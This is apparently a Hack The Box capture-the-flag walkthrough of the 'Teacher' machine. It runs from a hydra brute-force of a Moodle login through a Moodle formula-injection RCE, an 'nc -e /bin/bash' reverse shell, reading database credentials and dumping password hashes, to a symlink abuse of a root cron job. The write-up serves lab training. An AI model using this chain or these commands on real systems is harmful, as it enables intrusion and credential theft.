HTB: Teacher


This machine is Teacher from Hack The Box

Recon Phase

The first step was to detect the various services on the target

root@kali:~# nmap -T4 -sV
Starting Nmap 7.70 ( ) at 2019-02-14 20:23 GMT
Nmap scan report for
Host is up (0.036s latency).
Not shown: 999 closed ports
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.57 seconds

Shell Hunting

With no other options, onto the web server at

Screenshot 1

From here I setup dirbuster

Screenshot 2

Screenshot 3

So I tried moodle

Screenshot 4

This gave me a name of

Giovanni Chhatta

But I got redirected

Screenshot 5

Guest access didn’t let me see anything. so I began to dig more, eventually into the images of the main site at, interestingly 5.png had a much smaller file size than most of them

Screenshot 6

So I downloaded it

root@kali:~# wget
--2019-02-14 22:02:23--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 200 [image/png]
Saving to: ‘5.png’
5.png                             100%[=============================================================>]     200  --.-KB/s    in 0s
2019-02-14 22:02:23 (18.4 MB/s) - ‘5.png’ saved [200/200]

From there I inspected it

root@kali:~# file 5.png
5.png: ASCII text

So png was a lie… time to look

root@kali:~# cat 5.png
Hi Servicedesk,
I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha.
Could you guys figure out what the last charachter is, or just reset it?

So his password is


And I made a python script to generate the possible passwords

PASS = 'Th4C00lTheacha'
CHAR = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,<.>/@;:]}[{|`¬+=_-)#~(*&^%$£"!?\\\'"'
for c in CHAR:

Then ran it

root@kali:~# python3 > pass.list
root@kali:~# wc -l pass.list
97 pass.list

I guessed the username would be one of

Giovanni Chhatta
giovanni chhatta

So I saved this as user.list and setup hydra

root@kali:~# hydra -L user.list -P pass.list http-post-form "/moodle/login/index.php:anchor=&username=^USER^&password=^PASS^:F=Invalid login, please try again"
[80][http-post-form] host:   login: Giovanni   password: Th4C00lTheacha#

And used those to login

Screenshot 7

Some googling of moodle exploits led to evil teacher, so I enabled editing of the “Algebra” course, and added a quiz with some random details

Screenshot 8

Screenshot 9

And saved it

Screenshot 10

I then clicked edit, and added a calculated question

Screenshot 11

I gave it a random name and text

Screenshot 12

The added formula was


I can now get RCE by adding &0=[cmd] to my URL, so I opened a listener

root@kali:~# nc -nlvp 4444

I then appended the following to my URL

&0=nc -e /bin/bash 4444

And in my listener

connect to [] from (UNKNOWN) [] 44792

I have a shell

Root Hunting

Upgrade time

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c "import pty;pty.spawn('/bin/bash')"

I dug around for a while, then ended up in the moodle folder

www-data@teacher:/var/www/html/moodle/question$ cd /var/www/html/moodle
www-data@teacher:/var/www/html/moodle$ cat config.php
<?php  // Moodle configuration file
global $CFG;
$CFG = new stdClass();
$CFG->dbtype    = 'mariadb';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'root';
$CFG->dbpass    = 'Welkom1!';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
   'dbpersist' => 0,
   'dbport' => 3306,
   'dbsocket' => '',
   'dbcollation' => 'utf8mb4_unicode_ci',
$CFG->wwwroot   = '';
$CFG->dataroot  = '/var/www/moodledata';
$CFG->admin     = 'admin';
$CFG->directorypermissions = 0777;
require_once(__DIR__ . '/lib/setup.php');
// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!

This gave me some creds for db


So I test it out

www-data@teacher:/var/www/html/moodle$ mysql -u root -p
MariaDB [(none)]>

Time to dig some more

MariaDB [(none)]> show databases;
| Database           |
| information_schema |
| moodle             |
| mysql              |
| performance_schema |
| phpmyadmin         |
5 rows in set (0.00 sec)
MariaDB [(none)]> use moodle;
MariaDB [moodle]> show tables;
| mdl_user                         |

So I dumped it

MariaDB [moodle]> select username,password from mdl_user;
| username    | password                                                     |
| guest       | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO |
| admin       | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 |
| giovanni    | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO |
| Giovannibak | 7a860966115182402ed06375cf0a22af                             |
4 rows in set (0.00 sec)

The Giovannibak password was MD5, so easy to crack, it turned out to be


So I tested it

www-data@teacher:/var/www/html/moodle/question$ su giovanni

I was not Giovanni

giovanni@teacher:/var/www/html/moodle/question$ cd ~
giovanni@teacher:~$ ls -la
drwxr-x--- 4 giovanni giovanni 4096 Nov  4 19:47 .
drwxr-xr-x 3 root     root     4096 Jun 27  2018 ..
-rw------- 1 giovanni giovanni    1 Nov  4 19:47 .bash_history
-rw-r--r-- 1 giovanni giovanni  220 Jun 27  2018 .bash_logout
-rw-r--r-- 1 giovanni giovanni 3526 Jun 27  2018 .bashrc
drwxrwxrwx 2 giovanni giovanni 4096 Jun 27  2018 .nano
-rw-r--r-- 1 giovanni giovanni  675 Jun 27  2018 .profile
-rw-r--r-- 1 giovanni giovanni   33 Jun 27  2018 user.txt
drwxr-xr-x 4 giovanni giovanni 4096 Jun 27  2018 work

There’s my user flag

giovanni@teacher:~$ cat user.txt
giovanni@teacher:~$ cd work/tmp
giovanni@teacher:~/work/tmp$ ls -la
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27  2018 .
drwxr-xr-x 4 giovanni giovanni 4096 Jun 27  2018 ..
-rwxrwxrwx 1 root     root      256 Feb 15 03:40 backup_courses.tar.gz
drwxrwxrwx 3 root     root     4096 Jun 27  2018 courses

It caught my eye that the .tar.gz had been recently edited, watching it showed it got updated every minute, and it was owned by root, so the script doing this is probably also owned by and therefore running as root, so I exfiltrated the file to look at what was going on

root@kali:~# nc -nvlp 2222 > backup_courses.tar.gz
giovanni@teacher:~/work/tmp$ nc 2222 < backup_courses.tar.gz
connect to [] from (UNKNOWN) [] 33136

I took a look

root@kali:~# tar -xvzf ./backup_courses.tar.gz

And some more

root@kali:~# cat answersAlgebra
Point a = 3
Point b = 5
Point c = ?
3 * 3 = 9
5 * 5 = 25
v34 = 5,83
Point c = 5,83
score: 1/2

I compared this to the file at ~/work/courses/algebra/answersAlgebra On the server, and they matched, so I looked for the script causing this. As it was backing up a file I searched for a script that included the word backup

giovanni@teacher:/tmp/courses$ find / -name "*backup.*" 2>/dev/null

Found it

giovanni@teacher:~$ cat /usr/bin/
cd /home/giovanni/work;
tar -czvf tmp/backup_courses.tar.gz courses/*;
cd tmp;
tar -xf backup_courses.tar.gz;
chmod 777 * -R;

So some research into this revealed chmod with -R would ignore symlinks but not for specified files, so I just made the back steal me a copy of the /root folder to get the flag

giovanni@teacher:/tmp/courses$ cd ~/work/tmp
giovanni@teacher:~/work/tmp$ ln -s /root fakeRoot

Waited for the update

giovanni@teacher:~/work/tmp$ cd fakeRoot
giovanni@teacher:~/work/tmp/fakeRoot$ ls -la
drwxrwxrwx  3 root root 4096 Nov  4 20:03 .
drwxr-xr-x 22 root root 4096 Oct 28 16:36 ..
-rwxrwxrwx  1 root root  570 Jan 31  2010 .bashrc
-rwxrwxrwx  1 root root    0 Jun 27  2018 .mysql_history
drwxrwxrwx  2 root root 4096 Jun 27  2018 .nano
-rwxrwxrwx  1 root root  148 Aug 17  2015 .profile
-rwxrwxrwx  1 root root   33 Jun 27  2018 root.txt
-rwxrwxrwx  1 root root   66 Jun 27  2018 .selected_editor
-rwxrwxrwx  1 root root  174 Jun 27  2018 .wget-hsts
giovanni@teacher:~/work/tmp/fakeRoot$ cat root.txt

As this was effectively a root write exploit, to gain a root shell I would look for a way of using this to overwrite a file such as /etc/group or add and ssh key to root to get a root shell

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